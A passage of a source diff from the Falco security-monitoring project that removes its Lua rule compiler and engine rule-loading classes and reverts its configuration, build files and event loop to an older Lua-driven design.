-   end
-
-   if (ast.type == "Rule") then
-      return expand_macros(ast.filter, defs, changed)
-   elseif ast.type == "Filter" then
-      if (ast.value.type == "Macro") then
-         if (defs[ast.value.value] == nil) then
-            error("Undefined macro '".. ast.value.value .. "' used in filter.")
-         end
-         ast.value = copy(defs[ast.value.value])
-         changed = true
-	 return changed
-      end
-      return expand_macros(ast.value, defs, changed)
-
-   elseif ast.type == "BinaryBoolOp" then
-
-      if (ast.left.type == "Macro") then
-         if (defs[ast.left.value] == nil) then
-            error("Undefined macro '".. ast.left.value .. "' used in filter.")
-         end
-         ast.left = copy(defs[ast.left.value])
-         changed = true
-      end
-
-      if (ast.right.type == "Macro") then
-         if (defs[ast.right.value] == nil) then
-            error("Undefined macro ".. ast.right.value .. " used in filter.")
-         end
-         ast.right = copy(defs[ast.right.value])
-         changed = true
-      end
-
-      local changed_left = expand_macros(ast.left, defs, false)
-      local changed_right = expand_macros(ast.right, defs, false)
-      return changed or changed_left or changed_right
-
-   elseif ast.type == "UnaryBoolOp" then
-      if (ast.argument.type == "Macro") then
-         if (defs[ast.argument.value] == nil) then
-            error("Undefined macro ".. ast.argument.value .. " used in filter.")
-         end
-         ast.argument = copy(defs[ast.argument.value])
-         changed = true
-      end
-      return expand_macros(ast.argument, defs, changed)
-   end
-   return changed
-end
-
-function get_macros(ast, set)
-   if (ast.type == "Macro") then
-      set[ast.value] = true
-      return set
-   end
-
-   if ast.type == "Filter" then
-      return get_macros(ast.value, set)
-   end
-
-   if ast.type == "BinaryBoolOp" then
-      local left = get_macros(ast.left, {})
-      local right = get_macros(ast.right, {})
-
-      for m, _ in pairs(left) do set[m] = true end
-      for m, _ in pairs(right) do set[m] = true end
-
-      return set
-   end
-   if ast.type == "UnaryBoolOp" then
-      return get_macros(ast.argument, set)
-   end
-   return set
-end
-
-function check_for_ignored_syscalls_events(ast, filter_type, source)
-
-   function check_syscall(val)
-      if ignored_syscalls[val] then
-	 error("Ignored syscall \""..val.."\" in "..filter_type..": "..source)
-      end
-
-   end
-
-   function check_event(val)
-      if ignored_events[val] then
-	 error("Ignored event \""..val.."\" in "..filter_type..": "..source)
-      end
-   end
-
-   function cb(node)
-      if node.left.type == "FieldName" and
-	 (node.left.value == "evt.type" or
-	  node.left.value == "syscall.type") then
-
-	    if node.operator == "in" or node.operator == "pmatch" then
-	       for i, v in ipairs(node.right.elements) do
-		  if v.type == "BareString" then
-		     if node.left.value == "evt.type" then
-			check_event(v.value)
-		     else
-			check_syscall(v.value)
-		     end
-		  end
-	       end
-	    else
-	       if node.right.type == "BareString" then
-		  if node.left.value == "evt.type" then
-		     check_event(node.right.value)
-		  else
-		     check_syscall(node.right.value)
-		  end
-	       end
-	    end
-      end
-   end
-
-   parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
-end
-
--- Examine the ast and find the event types for which the rule should
--- run. All evt.type references are added as event types up until the
--- first "!=" binary operator or unary not operator. If no event type
--- checks are found afterward in the rule, the rule is considered
--- optimized and is associated with the event type(s).
---
--- Otherwise, the rule is associated with a 'catchall' category and is
--- run for all event types. (Also, a warning is printed).
---
-
-function get_evttypes(name, ast, source)
-
-   local evttypes = {}
-   local evtnames = {}
-   local found_event = false
-   local found_not = false
-   local found_event_after_not = false
-
-   function cb(node)
-     if node.type == "UnaryBoolOp" then
-	if node.operator == "not" then
-	   found_not = true
-	end
-     else
-	 if node.operator == "!=" then
-	    found_not = true
-	 end
-	 if node.left.type == "FieldName" and node.left.value == "evt.type" then
-	    found_event = true
-	    if found_not then
-	       found_event_after_not = true
-	    end
-	    if node.operator == "in" or node.operator == "pmatch" then
-	       for i, v in ipairs(node.right.elements) do
-		  if v.type == "BareString" then
-		     evtnames[v.value] = 1
-		     for id in string.gmatch(events[v.value], "%S+") do
-			evttypes[id] = 1
-		     end
-		  end
-	       end
-	    else
-	       if node.right.type == "BareString" then
-		  evtnames[node.right.value] = 1
-		  for id in string.gmatch(events[node.right.value], "%S+") do
-		     evttypes[id] = 1
-		  end
-	       end
-	    end
-	 end
-      end
-   end
-
-   parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
-
-   if not found_event then
-      io.stderr:write("Rule "..name..": warning (no-evttype):\n")
-      io.stderr:write(source.."\n")
-      io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
-      io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
-      evttypes = {}
-      evtnames = {}
-   end
-
-   if found_event_after_not then
-      io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
-      io.stderr:write(source.."\n")
-      io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
-      io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
-      io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
-      io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
-      io.stderr:write("         replacing negative matches with positive matches if possible.\n")
-      evttypes = {}
-      evtnames = {}
-   end
-
-   evtnames_only = {}
-   local num_evtnames = 0
-   for name, dummy in pairs(evtnames) do
-      table.insert(evtnames_only, name)
-      num_evtnames = num_evtnames + 1
-   end
-
-   if num_evtnames == 0 then
-      table.insert(evtnames_only, "all")
-   end
-
-   table.sort(evtnames_only)
-
-   if compiler.verbose then
-      io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
-   end
-
-   return evttypes
-end
-
-function compiler.compile_macro(line, list_defs)
-
-   for name, items in pairs(list_defs) do
-      line = string.gsub(line, name, table.concat(items, ", "))
-   end
-
-   local ast, error_msg = parser.parse_filter(line)
-
-   if (error_msg) then
-      print ("Compilation error when compiling \""..line.."\": ", error_msg)
-      error(error_msg)
-   end
-
-   -- Traverse the ast looking for events/syscalls in the ignored
-   -- syscalls table. If any are found, return an error.
-   if not compiler.all_events then
-      check_for_ignored_syscalls_events(ast, 'macro', line)
-   end
-
-   return ast
-end
-
---[[
-   Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
---]]
-function compiler.compile_filter(name, source, macro_defs, list_defs)
-
-   for name, items in pairs(list_defs) do
-      source = string.gsub(source, name, table.concat(items, ", "))
-   end
-
-   local ast, error_msg = parser.parse_filter(source)
-
-   if (error_msg) then
-      print ("Compilation error when compiling \""..source.."\": ", error_msg)
-      error(error_msg)
-   end
-
-   -- Traverse the ast looking for events/syscalls in the ignored
-   -- syscalls table. If any are found, return an error.
-   if not compiler.all_events then
-      check_for_ignored_syscalls_events(ast, 'rule', source)
-   end
-
-   if (ast.type == "Rule") then
-      -- Line is a filter, so expand macro references
-      repeat
-	 expanded  = expand_macros(ast, macro_defs, false)
-      until expanded == false
-
-   else
-      error("Unexpected top-level AST type: "..ast.type)
-   end
-
-   evttypes = get_evttypes(name, ast, source)
-
-   return ast, evttypes
-end
-
-
-return compiler

userspace/engine/rules.cpp

@@ -1,224 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include "rules.h"
-#include "logger.h"
-
-extern "C" {
-#include "lua.h"
-#include "lualib.h"
-#include "lauxlib.h"
-}
-
-#include "falco_engine.h"
-const static struct luaL_reg ll_falco_rules [] =
-{
-	{"add_filter", &falco_rules::add_filter},
-	{"enable_rule", &falco_rules::enable_rule},
-	{NULL,NULL}
-};
-
-falco_rules::falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls)
-	: m_inspector(inspector), m_engine(engine), m_ls(ls)
-{
-	m_lua_parser = new lua_parser(inspector, m_ls);
-}
-
-void falco_rules::init(lua_State *ls)
-{
-	luaL_openlib(ls, "falco_rules", ll_falco_rules, 0);
-}
-
-int falco_rules::add_filter(lua_State *ls)
-{
-	if (! lua_islightuserdata(ls, -3) ||
-	    ! lua_isstring(ls, -2) ||
-	    ! lua_istable(ls, -1))
-	{
-		throw falco_exception("Invalid arguments passed to add_filter()\n");
-	}
-
-	falco_rules *rules = (falco_rules *) lua_topointer(ls, -3);
-	const char *rulec = lua_tostring(ls, -2);
-
-	list<uint32_t> evttypes;
-
-	lua_pushnil(ls);  /* first key */
-	while (lua_next(ls, -2) != 0) {
-                // key is at index -2, value is at index
-                // -1. We want the keys.
-		evttypes.push_back(luaL_checknumber(ls, -2));
-
-		// Remove value, keep key for next iteration
-		lua_pop(ls, 1);
-	}
-
-	std::string rule = rulec;
-	rules->add_filter(rule, evttypes);
-
-	return 0;
-}
-
-void falco_rules::add_filter(string &rule, list<uint32_t> &evttypes)
-{
-	// While the current rule was being parsed, a sinsp_filter
-	// object was being populated by lua_parser. Grab that filter
-	// and pass it to the engine.
-	sinsp_filter *filter = m_lua_parser->get_filter(true);
-
-	m_engine->add_evttype_filter(rule, evttypes, filter);
-}
-
-int falco_rules::enable_rule(lua_State *ls)
-{
-	if (! lua_islightuserdata(ls, -3) ||
-	    ! lua_isstring(ls, -2) ||
-	    ! lua_isnumber(ls, -1))
-	{
-		throw falco_exception("Invalid arguments passed to enable_rule()\n");
-	}
-
-	falco_rules *rules = (falco_rules *) lua_topointer(ls, -3);
-	const char *rulec = lua_tostring(ls, -2);
-	std::string rule = rulec;
-	bool enabled = (lua_tonumber(ls, -1) ? true : false);
-
-	rules->enable_rule(rule, enabled);
-
-	return 0;
-}
-
-void falco_rules::enable_rule(string &rule, bool enabled)
-{
-	m_engine->enable_rule(rule, enabled);
-}
-
-void falco_rules::load_rules(const string &rules_content, bool verbose, bool all_events)
-{
-	lua_getglobal(m_ls, m_lua_load_rules.c_str());
-	if(lua_isfunction(m_ls, -1))
-	{
-		// Create a table containing all events, so they can
-		// be mapped to event ids.
-		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
-		const struct ppm_event_info* etable = einfo->m_event_info;
-		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
-
-		map<string,string> events_by_name;
-		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
-		{
-			auto it = events_by_name.find(etable[j].name);
-
-			if (it == events_by_name.end()) {
-				events_by_name[etable[j].name] = to_string(j);
-			} else {
-				string cur = it->second;
-				cur += " ";
-				cur += to_string(j);
-				events_by_name[etable[j].name] = cur;
-			}
-		}
-
-		lua_newtable(m_ls);
-
-		for( auto kv : events_by_name)
-		{
-			lua_pushstring(m_ls, kv.first.c_str());
-			lua_pushstring(m_ls, kv.second.c_str());
-			lua_settable(m_ls, -3);
-		}
-
-		lua_setglobal(m_ls, m_lua_events.c_str());
-
-		// Create a table containing the syscalls/events that
-		// are ignored by the kernel module. load_rules will
-		// return an error if any rule references one of these
-		// syscalls/events.
-
-		lua_newtable(m_ls);
-
-		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
-		{
-			if(etable[j].flags & EF_DROP_FALCO)
-			{
-				lua_pushstring(m_ls, etable[j].name);
-				lua_pushnumber(m_ls, 1);
-				lua_settable(m_ls, -3);
-			}
-		}
-
-		lua_setglobal(m_ls, m_lua_ignored_events.c_str());
-
-		lua_newtable(m_ls);
-
-		for(uint32_t j = 0; j < PPM_SC_MAX; j++)
-		{
-			if(stable[j].flags & EF_DROP_FALCO)
-			{
-				lua_pushstring(m_ls, stable[j].name);
-				lua_pushnumber(m_ls, 1);
-				lua_settable(m_ls, -3);
-			}
-		}
-
-		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
-
-		lua_pushstring(m_ls, rules_content.c_str());
-		lua_pushlightuserdata(m_ls, this);
-		lua_pushboolean(m_ls, (verbose ? 1 : 0));
-		lua_pushboolean(m_ls, (all_events ? 1 : 0));
-		if(lua_pcall(m_ls, 4, 0, 0) != 0)
-		{
-			const char* lerr = lua_tostring(m_ls, -1);
-			string err = "Error loading rules:" + string(lerr);
-			throw falco_exception(err);
-		}
-	} else {
-		throw falco_exception("No function " + m_lua_load_rules + " found in lua rule module");
-	}
-}
-
-void falco_rules::describe_rule(std::string *rule)
-{
-	lua_getglobal(m_ls, m_lua_describe_rule.c_str());
-	if(lua_isfunction(m_ls, -1))
-	{
-		if (rule == NULL)
-		{
-			lua_pushnil(m_ls);
-		} else {
-			lua_pushstring(m_ls, rule->c_str());
-		}
-
-		if(lua_pcall(m_ls, 1, 0, 0) != 0)
-		{
-			const char* lerr = lua_tostring(m_ls, -1);
-			string err = "Could not describe " + (rule == NULL ? "all rules" : "rule " + *rule) + ": " + string(lerr);
-			throw falco_exception(err);
-		}
-	} else {
-		throw falco_exception("No function " + m_lua_describe_rule + " found in lua rule module");
-	}
-}
-
-
-falco_rules::~falco_rules()
-{
-	delete m_lua_parser;
-}
-

userspace/engine/rules.h

@@ -1,55 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#pragma once
-
-#include <list>
-
-#include "sinsp.h"
-
-#include "lua_parser.h"
-
-class falco_engine;
-
-class falco_rules
-{
- public:
-	falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls);
-	~falco_rules();
-	void load_rules(const string &rules_content, bool verbose, bool all_events);
-	void describe_rule(string *rule);
-
-	static void init(lua_State *ls);
-	static int add_filter(lua_State *ls);
-	static int enable_rule(lua_State *ls);
-
- private:
-	void add_filter(string &rule, list<uint32_t> &evttypes);
-	void enable_rule(string &rule, bool enabled);
-
-	lua_parser* m_lua_parser;
-	sinsp* m_inspector;
-	falco_engine *m_engine;
-	lua_State* m_ls;
-
-	string m_lua_load_rules = "load_rules";
-	string m_lua_ignored_syscalls = "ignored_syscalls";
-	string m_lua_ignored_events = "ignored_events";
-	string m_lua_events = "events";
-	string m_lua_describe_rule = "describe_rule";
-};

userspace/falco/CMakeLists.txt

@@ -3,20 +3,22 @@ include_directories("${LUAJIT_INCLUDE}")
 
 include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
 include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
-include_directories("${PROJECT_SOURCE_DIR}/userspace/engine")
 include_directories("${PROJECT_BINARY_DIR}/userspace/falco")
 include_directories("${CURL_INCLUDE_DIR}")
 include_directories("${YAMLCPP_INCLUDE_DIR}")
 include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include")
 
-add_executable(falco configuration.cpp formats.cpp logger.cpp falco_outputs.cpp falco.cpp)
+add_executable(falco configuration.cpp formats.cpp fields.cpp rules.cpp logger.cpp falco.cpp)
 
-target_link_libraries(falco falco_engine sinsp)
+target_link_libraries(falco sinsp)
 target_link_libraries(falco
+	"${LPEG_SRC}/lpeg.a"
+	"${LYAML_LIB}"
         "${LIBYAML_LIB}"
 	"${YAMLCPP_LIB}")
 
 
+set(FALCO_LUA_MAIN "rule_loader.lua")
 configure_file(config_falco.h.in config_falco.h)
 
 install(TARGETS falco DESTINATION bin)

userspace/falco/config_falco.h.in

@@ -2,10 +2,13 @@
 
 #define FALCO_VERSION "${FALCO_VERSION}"
 
-#define FALCO_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
+#define FALCO_LUA_DIR "/usr/share/falco/lua/"
 #define FALCO_SOURCE_DIR "${PROJECT_SOURCE_DIR}"
 #define FALCO_SOURCE_CONF_FILE "${PROJECT_SOURCE_DIR}/falco.yaml"
 #define FALCO_INSTALL_CONF_FILE "/etc/falco.yaml"
 #define FALCO_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/userspace/falco/lua/"
 
+
+#define FALCO_LUA_MAIN "${FALCO_LUA_MAIN}"
+
 #define PROBE_NAME "${PROBE_NAME}"

userspace/falco/configuration.cpp

@@ -1,60 +1,32 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #include "configuration.h"
+#include "config_falco.h"
+#include "sinsp.h"
 #include "logger.h"
 
 using namespace std;
 
-falco_configuration::falco_configuration()
-	: m_config(NULL)
-{
-}
-
-falco_configuration::~falco_configuration()
-{
-	if (m_config)
-	{
-		delete m_config;
-	}
-}
 
 // If we don't have a configuration file, we just use stdout output and all other defaults
-void falco_configuration::init(list<string> &cmdline_options)
+void falco_configuration::init(std::list<std::string> &cmdline_options)
 {
 	init_cmdline_options(cmdline_options);
 
-	falco_outputs::output_config stdout_output;
+	output_config stdout_output;
 	stdout_output.name = "stdout";
 	m_outputs.push_back(stdout_output);
 }
 
-void falco_configuration::init(string conf_filename, list<string> &cmdline_options)
+void falco_configuration::init(string conf_filename, std::list<std::string> &cmdline_options)
 {
 	string m_config_file = conf_filename;
 	m_config = new yaml_configuration(m_config_file);
 
 	init_cmdline_options(cmdline_options);
 
-	m_rules_filenames.push_back(m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml"));
+	m_rules_filename = m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml");
 	m_json_output = m_config->get_scalar<bool>("json_output", false);
 
-	falco_outputs::output_config file_output;
+	output_config file_output;
 	file_output.name = "file";
 	if (m_config->get_scalar<bool>("file_output", "enabled", false))
 	{
@@ -62,43 +34,29 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 		filename = m_config->get_scalar<string>("file_output", "filename", "");
 		if (filename == string(""))
 		{
-			throw invalid_argument("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
+			throw sinsp_exception("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
 		}
 		file_output.options["filename"] = filename;
 		m_outputs.push_back(file_output);
 	}
 
-	falco_outputs::output_config stdout_output;
+	output_config stdout_output;
 	stdout_output.name = "stdout";
 	if (m_config->get_scalar<bool>("stdout_output", "enabled", false))
 	{
 		m_outputs.push_back(stdout_output);
 	}
 
-	falco_outputs::output_config syslog_output;
+	output_config syslog_output;
 	syslog_output.name = "syslog";
 	if (m_config->get_scalar<bool>("syslog_output", "enabled", false))
 	{
 		m_outputs.push_back(syslog_output);
 	}
 
-	falco_outputs::output_config program_output;
-	program_output.name = "program";
-	if (m_config->get_scalar<bool>("program_output", "enabled", false))
-	{
-		string program;
-		program = m_config->get_scalar<string>("program_output", "program", "");
-		if (program == string(""))
-		{
-			throw sinsp_exception("Error reading config file (" + m_config_file + "): program output enabled but no program in configuration block");
-		}
-		program_output.options["program"] = program;
-		m_outputs.push_back(program_output);
-	}
-
 	if (m_outputs.size() == 0)
 	{
-		throw invalid_argument("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
+		throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
 	}
 
 	falco_logger::log_stderr = m_config->get_scalar<bool>("log_stderr", false);
@@ -118,7 +76,7 @@ static bool split(const string &str, char delim, pair<string,string> &parts)
 	return true;
 }
 
-void falco_configuration::init_cmdline_options(list<string> &cmdline_options)
+void falco_configuration::init_cmdline_options(std::list<std::string> &cmdline_options)
 {
 	for(const string &option : cmdline_options)
 	{
@@ -126,13 +84,13 @@ void falco_configuration::init_cmdline_options(list<string> &cmdline_options)
 	}
 }
 
-void falco_configuration::set_cmdline_option(const string &opt)
+void falco_configuration::set_cmdline_option(const std::string &opt)
 {
 	pair<string,string> keyval;
 	pair<string,string> subkey;
 
 	if (! split(opt, '=', keyval)) {
-		throw invalid_argument("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val");
+		throw sinsp_exception("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val");
 	}
 
 	if (split(keyval.first, '.', subkey)) {

userspace/falco/configuration.h

@@ -1,30 +1,13 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #pragma once
 
 #include <yaml-cpp/yaml.h>
-#include <string>
-#include <vector>
-#include <list>
 #include <iostream>
 
-#include "falco_outputs.h"
+struct output_config
+{
+	std::string name;
+	std::map<std::string, std::string> options;
+};
 
 class yaml_configuration
 {
@@ -34,7 +17,7 @@ public:
 	{
 		m_path = path;
 		YAML::Node config;
-		std::vector<falco_outputs::output_config> outputs;
+		std::vector<output_config> outputs;
 		try
 		{
 			m_root = YAML::LoadFile(path);
@@ -135,15 +118,12 @@ private:
 class falco_configuration
 {
  public:
-	falco_configuration();
-	virtual ~falco_configuration();
-
 	void init(std::string conf_filename, std::list<std::string> &cmdline_options);
 	void init(std::list<std::string> &cmdline_options);
 
-	std::list<std::string> m_rules_filenames;
+	std::string m_rules_filename;
 	bool m_json_output;
-	std::vector<falco_outputs::output_config> m_outputs;
+	std::vector<output_config> m_outputs;
  private:
 	void init_cmdline_options(std::list<std::string> &cmdline_options);
 

userspace/falco/falco.cpp

@@ -1,41 +1,32 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #define __STDC_FORMAT_MACROS
 
 #include <stdio.h>
-#include <fstream>
-#include <set>
-#include <list>
-#include <string>
+#include <iostream>
 #include <signal.h>
+#include <time.h>
 #include <fcntl.h>
 #include <sys/stat.h>
+#include <algorithm>
 #include <unistd.h>
 #include <getopt.h>
 
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+#include "lpeg.h"
+#include "lyaml.h"
+}
+
 #include <sinsp.h>
-
-#include "logger.h"
-
-#include "configuration.h"
-#include "falco_engine.h"
 #include "config_falco.h"
+#include "configuration.h"
+#include "rules.h"
+#include "formats.h"
+#include "fields.h"
+#include "logger.h"
+#include "utils.h"
+#include <yaml-cpp/yaml.h>
 
 bool g_terminate = false;
 //
@@ -56,53 +47,19 @@ static void usage()
 	   "Options:\n"
 	   " -h, --help                    Print this page\n"
 	   " -c                            Configuration file (default " FALCO_SOURCE_CONF_FILE ", " FALCO_INSTALL_CONF_FILE ")\n"
-	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
-	   " -d, --daemon                  Run as a daemon\n"
-	   " -D <pattern>                  Disable any rules matching the regex <pattern>. Can be specified multiple times.\n"
-           " -e <events_file>              Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
-	   " -k <url>, --k8s-api=<url>\n"
-	   "                               Enable Kubernetes support by connecting to the API server\n"
-      	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:8080\".\n"
-	   "                               The API server can also be specified via the environment variable\n"
-	   "                               FALCO_K8S_API.\n"
-	   " -K <bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>], --k8s-api-cert=<bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>]\n"
-	   "                               Use the provided files names to authenticate user and (optionally) verify the K8S API\n"
-	   "                               server identity.\n"
-	   "                               Each entry must specify full (absolute, or relative to the current directory) path\n"
-	   "                               to the respective file.\n"
-	   "                               Private key password is optional (needed only if key is password protected).\n"
-	   "                               CA certificate is optional. For all files, only PEM file format is supported. \n"
-	   "                               Specifying CA certificate only is obsoleted - when single entry is provided \n"
-	   "                               for this option, it will be interpreted as the name of a file containing bearer token.\n"
-	   "                               Note that the format of this command-line option prohibits use of files whose names contain\n"
-	   "                               ':' or '#' characters in the file name.\n"
-	   " -L                            Show the name and description of all rules and exit.\n"
-	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
-	   " -m <url[,marathon_url]>, --mesos-api=<url[,marathon_url]>\n"
-	   "                               Enable Mesos support by connecting to the API server\n"
-	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:5050\".\n"
-	   "                               Marathon url is optional and defaults to Mesos address, port 8080.\n"
-	   "                               The API servers can also be specified via the environment variable\n"
-	   "                               FALCO_MESOS_API.\n"
 	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
 	   "                               <key> can be a two-part <key>.<subkey>\n"
-	   " -p <output_format>, --print=<output_format>\n"
-	   "                               Add additional information to each falco notification's output.\n"
-	   "                               With -pc or -pcontainer will use a container-friendly format.\n"
-	   "                               With -pk or -pkubernetes will use a kubernetes-friendly format.\n"
-	   "                               With -pm or -pmesos will use a mesos-friendly format.\n"
-	   "                               Additionally, specifying -pc/-pk/-pm will change the interpretation\n"
-	   "                               of %%container.info in rule output fields\n"
-	   "                               See the examples section below for more info.\n"
-	   " -P, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+	   " -d, --daemon                  Run as a daemon\n"
+	   " -p, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+           " -e <events_file>              Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
            " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
-	   "                               Can be specified multiple times to read from multiple files.\n"
-	   " -v                            Verbose output.\n"
+	   " -L                            Show the name and description of all rules and exit.\n"
+	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
 	   "\n"
     );
 }
 
-static void display_fatal_err(const string &msg)
+static void display_fatal_err(const string &msg, bool daemon)
 {
 	falco_logger::log(LOG_ERR, msg);
 
@@ -116,18 +73,23 @@ static void display_fatal_err(const string &msg)
 	}
 }
 
+string lua_on_event = "on_event";
+string lua_add_output = "add_output";
+string lua_print_stats = "print_stats";
+
 // Splitting into key=value or key.subkey=value will be handled by configuration class.
 std::list<string> cmdline_options;
 
 //
 // Event processing loop
 //
-void do_inspect(falco_engine *engine,
-		falco_outputs *outputs,
-		sinsp* inspector)
+void do_inspect(sinsp* inspector,
+		falco_rules* rules,
+		lua_State* ls)
 {
 	int32_t res;
 	sinsp_evt* ev;
+	string line;
 
 	//
 	// Loop through the events
@@ -165,20 +127,112 @@ void do_inspect(falco_engine *engine,
 			continue;
 		}
 
-		// As the inspector has no filter at its level, all
-		// events are returned here. Pass them to the falco
-		// engine, which will match the event against the set
-		// of rules. If a match is found, pass the event to
-		// the outputs.
-		falco_engine::rule_result *res = engine->process_event(ev);
-		if(res)
+		lua_getglobal(ls, lua_on_event.c_str());
+
+		if(lua_isfunction(ls, -1))
 		{
-			outputs->handle_event(res->evt, res->rule, res->priority, res->format);
-			delete(res);
+			lua_pushlightuserdata(ls, ev);
+			lua_pushnumber(ls, ev->get_check_id());
+
+			if(lua_pcall(ls, 2, 0, 0) != 0)
+			{
+				const char* lerr = lua_tostring(ls, -1);
+				string err = "Error invoking function output: " + string(lerr);
+				throw sinsp_exception(err);
+			}
+		}
+		else
+		{
+			throw sinsp_exception("No function " + lua_on_event + " found in lua compiler module");
 		}
 	}
 }
 
+void add_lua_path(lua_State *ls, string path)
+{
+	string cpath = string(path);
+	path += "?.lua";
+	cpath += "?.so";
+
+	lua_getglobal(ls, "package");
+
+	lua_getfield(ls, -1, "path");
+	string cur_path = lua_tostring(ls, -1 );
+	cur_path += ';';
+	lua_pop(ls, 1);
+
+	cur_path.append(path.c_str());
+
+	lua_pushstring(ls, cur_path.c_str());
+	lua_setfield(ls, -2, "path");
+
+	lua_getfield(ls, -1, "cpath");
+	string cur_cpath = lua_tostring(ls, -1 );
+	cur_cpath += ';';
+	lua_pop(ls, 1);
+
+	cur_cpath.append(cpath.c_str());
+
+	lua_pushstring(ls, cur_cpath.c_str());
+	lua_setfield(ls, -2, "cpath");
+
+	lua_pop(ls, 1);
+}
+
+void add_output(lua_State *ls, output_config oc)
+{
+
+	uint8_t nargs = 1;
+	lua_getglobal(ls, lua_add_output.c_str());
+
+	if(!lua_isfunction(ls, -1))
+	{
+		throw sinsp_exception("No function " + lua_add_output + " found. ");
+	}
+	lua_pushstring(ls, oc.name.c_str());
+
+	// If we have options, build up a lua table containing them
+	if (oc.options.size())
+	{
+		nargs = 2;
+		lua_createtable(ls, 0, oc.options.size());
+
+		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
+		{
+			lua_pushstring(ls, (*it).second.c_str());
+			lua_setfield(ls, -2, (*it).first.c_str());
+		}
+	}
+
+	if(lua_pcall(ls, nargs, 0, 0) != 0)
+	{
